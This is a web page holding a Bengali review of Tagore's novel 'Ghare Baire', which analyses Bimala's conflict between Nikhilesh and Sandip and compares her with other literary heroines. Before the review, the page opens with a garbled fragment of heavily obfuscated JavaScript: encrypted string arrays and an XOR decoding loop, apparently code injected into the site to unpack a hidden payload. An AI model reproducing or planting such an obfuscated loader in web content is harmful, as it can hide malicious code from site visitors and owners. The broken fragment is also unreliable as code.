nMo9PEQp8ZwBbs","bBrxoQtOaVEx17MiTGgimo8MbN2kCQi+CmI5dkDB7R0rYSRxYOB/RzrCkl0jARfNlc83xX3iajEPCWEHmXybnvxKl16OlOC8d+JKOJUeFvz3azAkhBTNAliZZIFKhRePJHT6l3ZVkp48","JktcZ8J5SIT08WTGOLUvFkGlbE3vSv2PdgvN2eqW3HvWvEf2DuCXzlPvoldQP/PGxlP5C0NFlsuW10X48Qsilhejgy+vptuAVdM9x7U9x8diNM3Mkp2Pa+M7s1OqQU6eZbX2PjVNGfl9","k2KeZBaetSKh9vu5xmvFqwo16Jl/QkAZ5ZyfkRYMndDdetBhVbmQZDF/27H0VEbfTbRY/2h/CnXK31r8criW/y8dUzEcgR7AVElnBeVXkLuOJ23MVIFcyWXH1E9pqpGtus5FbOUyln2w","OLPpCNnOlelXLuC85LyX44j5gT4owEfFQndl6/O1XVlMK83MUTtPRrGpO9LpAhoiXbvZKobwYtydr9vDb5VUtWmnewrJF64PiCH4tp8hxvX/R3UQT5Z5PQu69JkL4rqlGWVvxKWz+PB2","neu3aFIrpJPMzFpOpLyCFtkLLwQiBQq729dwJZti5C/F+Nv2DxNxp5shoaWmOJhBM/2GI0VtQ9cxML9NPhlYJd4XPcZLioCQ5WzSrjAhZPUfp6AMhATxxbAH/Le8KCR+hQgyI4O/t+O4","OmWK"],pnCL=null,Qdsy=[19,32,59,54,33,60,58,59],E46=85,jBD="",BPx=0,bPB={},amO="",zuF0=0,awF3="",vZy=0,U5u=0,j3DCQ="";if(pnCL){for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx

রিভিউ: রবীন্দ্রনাথ ঠাকুরের ‘ঘরে-বাইরে’ উপন্যাসের প্রধান চরিত্র বিমলা, নিখিলেশ ও সন্দ্বীপ 

১০:৩৪:০৩ পূর্বাহ্ন, শুক্রবার, ২৫ মার্চ ২০২২

রবীন্দ্রনাথ ঠাকুর ১৯১৬ সালে ঘরে-বাইরে উপন্যাস রচনা করেন মূলত স্বদেশী আন্দোলনকে উপজীব্য করে। কিন্তু এতে অনিবার্যভাবে এসে পড়েছে দ্বন্দ্ব-সংঘাতময় মানব-মানবীর প্রেম, সমাজ ও প্রথা দ্বারা নিয়ন্ত্রিত নারী-পুরুষ সম্পর্ক। এই উপন্যাসটির আত্মকথনরীতি, চলিত ভাষা এবং বৈপ্লবিক জাতীয়তাবাদী আন্দোলনের প্রেক্ষাপটে নিখিলেশ-বিমলা-সন্দীপের অনিয়ন্ত্রিত টানাপোড়েন নিয়ে রচিত ভিন্নধর্মী এক আখ্যান হিসেবে রবীন্দ্র রচনায় যুক্ত হয়েছে। তবে ঘরে উপন্যাসের প্রধান চরিত্র বিমলার চরিত্র চিত্রণে যে গভীর মনস্তাত্ত্বিক বিশ্লেষণের মাধ্যমে সম্পর্কের টানাপোড়েন চিত্রিত হয়েছে তা অন্য চরিত্রগুলোকে ছাপিয়ে গেছে।

নিখিলেশ বিমলার কল্পনার রাজপুত্র রূপে ধরা না দিলেও শত বছরের লালিত বাঙালি সংস্কারে আচ্ছন্ন বিমলা স্বামীকে প্রেমের অর্ঘ্য নিবেদন করে পূজা করতে দ্বিধা করেনি। রাজবাড়ীর বধূ হিসেবে তার সামাজিক অবস্থান চিহ্নিত হয়েছে ঘরে-বাইরে উপন্যাসের পরতে পরতে। আধুনিক মনের মানুষ নিখিলেশ স্ত্রীকে পরিধান করিয়েছে আধুনিক পোশাক এবং তাকে আধুনিক শিক্ষায় শিক্ষিত করতে ছিল বদ্ধপরিকর। মত প্রকাশের স্বাধীনতাপ্রাপ্তি ছিল বিমলার ব্যক্তিত্ব বিকাশের একটি উল্লেখযোগ্য ধাপ। নিখিলেশের কথায়– বিশ্বের মধ্যে জ্ঞানে শক্তিতে প্রেমে পুনর্বিকশিত বিমলকে দেখার বড়ো ইচ্ছা ছিল। স্বামীর আন্তরিক ইচ্ছায় সে ঘরের সীমাবদ্ধ পরিসর থেকে বাইরের বিস্তৃত জগতে পদচিহ্ন রেখেছিল। তার ধারণা ছিল আশপাশের মানুষদের আচার-আচরণ সম্পর্কে নিখিলেশের অজ্ঞতাই ছিল তার সরলতার প্রধান কারণ। সে সব মানুষের মধ্যে সর্বাগ্রে ছিল তার বড়ো জা, মেজ জা ও সন্দ্বীপ। স্বামীকে সচেতন করার ব্যর্থ চেষ্টায় সে কখনও কখনও মনে মনে সক্ষুব্ধ হয়েছে কিন্তু নিজেকে বিচ্ছিন্ন করে ফেলেছে স্বামীর কাছ থেকে।

উদারমনা নিখিলেশ চেয়েছিল– আমি চাই বাইরের মধ্যে তুমি আমাকে পাও, আমি তোমাকে পাই। স্বামীর উৎসাহে সামাজিক বিধি-নিষেধ অবজ্ঞা করে, প্রচলিত প্রথা ভেঙ্গে বিমলা মুখোমুখি হয়েছিল ঝড়ের দমকা হাওয়ার মতো স্বদেশী আন্দোলনের নেতা সন্দ্বীপের। বিমলার ভেতর সন্দ্বীপ দেশের জাগ্রত শক্তিকে প্রত্যক্ষ করেছে বলে দাবি করেছে। আর যে বিমলা ছিল গ্রামের ছোটো নদী তার বুকে ডেকে গেল সমুদ্রের বান। মউচাকের মক্খীরানী সম্বোধনে সে নিজেকে নতুন করে আবিষ্কারের খেলায় মেতে উঠল— যে সুন্দরী ছিল না সে সুন্দরী হয়ে উঠল; যে ছিল সামান্য সে নিজের মধ্যে সমস্ত বাংলাদেশের গৌরবকে প্রত্যক্ষ অনুভব করল।

এই ঘরে-বাইরে উপন্যাসে স্বদেশী আন্দোলনের অন্ধকার দিকের স্বরূপ উন্মোচিত হয়েছে, যার প্রতীক নিশ্চিতভাবে সন্দ্বীপ। নিখিলেশ ও বিমলার দাম্পত্য জীবনকে কালো ছায়ায় আচ্ছাদিত করল এই লোলুপ ভণ্ড-প্রতারক। স্বদেশী আন্দোলনের নামে যে প্রলয়ঙ্করী ধ্বংসযজ্ঞ শুরু হয়েছে তা স্পর্শ করেছে বিমলাকে। সন্দ্বীপের ‘আজকের দিনে আমাদের মেয়েরাই আমাদের দেশকে বাঁচাবে ‘জাতীয় কথাবার্তায় বিমুগ্ধ বিমলা ভুলে গেল যে সে স্বামী নিখিলেশের স্বদেশী ব্যাংক, স্বদেশী জাহাজের ব্যবসা, স্বদেশী কলম অথবা স্বদেশী সাবান ব্যবহারের চেষ্টাকে ভাল চোখে কখনও দেখেনি। তাই নিখিলেশের মনে হওয়া সঙ্গত ছিল যে ‘আজ এ কথা আমি স্পষ্ট বুঝেছি, বিমলের জীবনে আমি আকস্মিক মাত্র; বিমলের সমস্ত প্রকৃতি যার সঙ্গে সত্য মিলতে পারে সে হচ্ছে সন্দ্বীপ । ‘সন্দ্বীপের আরও দুইজন নারীর সঙ্গে ঘনিষ্ঠ সম্পর্কের ইঙ্গিত তার আত্মকথনে রয়েছে। যে-কোনো নারীকে আকর্ষণ করার মতো সম্মোহনী ক্ষমতা তার মধ্যে রয়েছে এবং তার মতে – ‘যা আমি কেড়ে নিতে পারি সেইটেই যথার্থ আমার, এই হলো সমস্ত জগতের শিক্ষা। ‘তাই স্বদেশী আন্দোলনের মুখোশের আড়ালে বিমলার মন ভুলিয়ে নিজের হীন স্বার্থ চরিতার্থ করার সব আয়োজন সম্পন্ন করেছিল।

ঘরে-বাইরে উপন্যাসে বিমলা ও নিখিলেশের মধ্যে সম্পর্কের ক্ষেত্রে যে ফাঁক ছিল তা ছিল তারা দুজনে প্রকৃতিগতভাবে ভিন্ন। কিন্তু নিখিলেশ স্ত্রীকে মুক্ত আকাশ দেখাতে চেয়েছিল এবং শুধুমাত্র স্ত্রীর মতামতের প্রতি শ্রদ্ধা রেখে কলকাতায় স্থায়ীভাবে থাকার সিদ্ধান্ত পাল্টে ফেলেছিল। বিংশ শতাব্দীর প্রথম দিকে বাঙালি সমাজে নিখিলেশের মতো উদার প্রকৃতির স্বামী যে বিরল তা বিমলা অন্তরে অনুভব করতে পেরেছে। তাই সন্দ্বীপের প্রতি দুর্নিবার আকর্ষণ ও আসক্তি তার মনোজগতে নানা দন্দ্ব-সংঘাত ও ঘাত-প্রতিঘাতের সৃষ্টি করেছে। সে নিজেকে কিছুটা আড়ালে রেখে এ সম্পর্ককে বিশ্লেষণের চেষ্টাও করেছে। সে যে ঘর-সংসারের প্রতি ও স্বামীর প্রতি চরম উদাসীনতা দেখিয়েছে তা নিজেই সম্পূর্ণভাবে উপলব্ধি করতে পেরেছে। এই অনুশোচনায় সে দিন-রাত দগ্ধও হয়েছে। দেশের জন্য সংগ্রামের আড়ালে লুকিয়ে ছিল সন্দ্বীপের কপটতা। স্বদেশীর বুলি আওড়াতে আওড়াতে অথবা বন্দে মাতরম বলে বলে সে দামি সিগারেট অথবা ট্রেনের ফার্স্ট ক্লাসে ভ্রমণ করতে কুণ্ঠিতবোধ করে না। বিমলার মতো নারীকে তার চরিত্রের ম্যাগনেটিজম দিয়ে ভাসাতে উদ্বুদ্ধ করার শক্তি তার ছিল। তার ফটোগ্রাফ দেখে বিমলার উক্তি- ‘উজ্জ্বলতা আছে বটে, কিন্তু চেহারাটা অনেকখানি খাদ মিশিয়ে গড়া-চোখে আর ঠোঁটে কী একটা আছে যেটা খাঁটি নয়।

‘এই উক্তি সন্দ্বীপের চরিত্রকে সম্পূর্ণভাবে উন্মোচিত করেছে। কিন্তু বিমলার তাকে সম্পূর্ণরূপে চিনতে অনেক দেরি হলো। অমূল্য নামক এক বালকের উপস্থিতি এবং তার প্রতি সন্দ্বীপের ঈর্ষা সূত্র ধরে সন্দ্বীপের সমস্ত ভণ্ডামির পর্দা বিমলার কাছে একে একে উন্মোচিত হতে লাগল। তাই রাতের অন্ধকারে স্বামীর দুই পা বুকের মধ্যে জড়িয়ে সে এই দন্দ্ব-সংঘাতময় সম্পর্ক থেকে মুক্তির উপায় খুঁজছিল। কিন্তু সন্দ্বীপের অগ্নিস্ফুলিঙ্গের মতো কথার তেজ বিমলাকে ভুলিয়ে তার ঘর ঝড়ের দমকা হাওয়ায় নড়বড়োে করে দিল। সে ঘরকে নতুনভাবে বিনির্মাণের স্বপ্ন ও ইচ্ছা নিয়ে সে সন্দ্বীপের সঙ্গে সব সম্পর্কের ইতি টানতে চেয়েছে। যে বিমলা নিজেকে বাংলাদেশের সমস্ত নারীর একমাত্র প্রতিনিধি ও সন্দ্বীপকে বাংলাদেশের বীর হিসেবে চিহ্নিত করেছিল সে স্বদেশী আন্দোলনের অসাড়তা উপলব্ধি করে আত্মসচেতন হয়ে আদর্শবাদী স্বামীকে আঁকড়ে ধরে নতুনভাবে বাঁচতে চেয়েছিল।

ঘরে-বাইরে উপন্যাসে দেখা যায়, নিখিলেশ দেবী সাজিয়ে বিমলাকে যে পূজার অর্ঘ্য নিবেদন করেছিল তার মধ্যে যেটুকু অসম্পূর্ণতা ছিল তা পূর্ণ হয়েছিল সন্দ্বীপ যখন তাকে বিপ্লবী ভারত মাতার আসনে অভিষিক্ত করল বৈপ্লবিক কথাবার্তার আড়ালে প্রেম নিবেদনের প্রচ্ছন্ন ইঙ্গিত বিমলাকে আলোড়িত করলেও এটা ক্রমশ স্পষ্ট হয়ে উঠেছিল যে সন্দ্বীপের সঙ্গে সম্পর্কের ক্ষেত্রে একটা ফাঁক রয়েই গেছে। বিশেষ করে বিমলা অমূল্য নামক বালকটিকে অতিরিক্ত গুত্বত্ব দেয়ায় সন্দ্বীপের অসহিষ্ণু প্রতিক্রিয়া এবং টাকার জন্য বিমলাকে বিভিন্ন কৌশল অবলম্বন করে বার বার চাপ দেয়া সন্দ্বীপ সম্পর্কে তার মোহ ভাঙতে শুরু করেছে। এর পরিণতিতে বিমলা দাম্পত্যপ্রেম, স্বদেশপ্রেম ও প্রেমিক পুরুষকে একপাশে ঠেলে দিয়ে আত্মপ্রেমে নিবেদিত হয়ে নিজেকে একক মানুষ হিসেবে উপলব্ধি করতে চাইল। নিজেকে দেখতে চাইল এমন একজন মানুষরূপে যে তৈরি হবে সম্মান, সম্ভ্রম, মর্যাদা আর ভালবাসাকে সঙ্গে নিয়ে। অমূল্যর কাছে নতুনভাবে মূল্যায়িত হয়েই বিমলা বুঝতে পেরেছে সন্দ্বীপের স্তুতিবাক্যগুলো কতটা মেকি।

ঘরে-বাইরে উপন্যাসটি লিখেছেন রবীন্দ্রনাথ ঠাকুর
‘ঘরে-বাইরে’ উপন্যাসটি লিখেছেন রবীন্দ্রনাথ ঠাকুর

বিমলার অস্তিত্বের শেকড়ে জড়িয়ে থাকা সংস্কার তাকে বার বার শুদ্ধ করতে চাইল। কিন্তু মানসিক যন্ত্রণায় কাতর বিমলা সামনে কোন্ পথ দেখতে পেল না। সন্দ্বীপের মধ্যে ভ- প্রতারকের ছায়া দেখতে না পেলে হয়ত নিখিলেশের সাহচর্য সত্ত্বেও তার ঘরে ফেরা হতো না। জীবনের শুভবোধ, আদর্শবাদীতার ওপর আস্থা এবং সর্বোপরি তথাকথিত সতীত্বের অহঙ্কারের কারণে সে বাইরে থেকে নিজেকে ঘরে স্থাপিত করতে পেরেছিল এবং ঘরে- বাইরের টানাপোড়েন থেকে নিজেকে রক্ষা করতে পেরেছিল।

বিমলার সমান্তরালে আমরা দেখতে পারি চোখের বালির বাল্যবিধবা বিনোদিনীকে। সমাজের প্রচলিত বিধিনিষেধ সত্ত্বেও যার মধ্যে পুরুষের প্রতি দুর্নিবার আকাঙ্খার জাগরণ ঘটেছিল এবং পরিণতিতে মানসিক ঘাত প্রতিঘাতের মুখোমুখি হতে হয়েছিল। নষ্টনীড়ের চারুলতাও চঞ্চল অমলের সুতীব্র আকর্ষণকে উপেক্ষা করতে পারেনি আর রতন পোস্টমাস্টারের সঙ্গে যাওয়ার ইচ্ছা প্রকাশ করলেও ‘সে কী করে হবে’-এর মতো সামাজিক বাধার মুখে অশ্রুপ্লাবিত হয়ে পরাজয় স্বীকার করে নিয়েছে।

ঘরে-বাইরে উপন্যাসের লেখক রবীন্দ্রনাথ ঠাকুর তাঁর সময়ের প্রচলিত সংস্কারকে পাশ কাটিয়ে তার নারী চরিত্রদের অবস্থান চিহ্নিত করতে পারেননি বলেই তার নারী চরিত্ররা বিদ্রোহী হয়ে উঠতে পারেনি। মানিক বন্দোপাধ্যায়ের কুসুম শক্তিশালী চরিত্র হওয়া সত্ত্বেও সামাজিক সংস্কারের কাছে পরাজিত। কিন্তু ইবসেন নোরাকে ঘরের বাইরে টেনে এনে নারী মুক্তির পথনির্দেশ করার কাজটি করে গেছেন। নারী অধিকার ও নারীর সামাজিক অবস্থান নিয়ে প্রাচ্য ও পাশ্চাত্যের বিপরীতমুখী দৃষ্টিভঙ্গি এসব রচনায় স্পষ্টভাবে প্রতিফলিত হয়েছে ।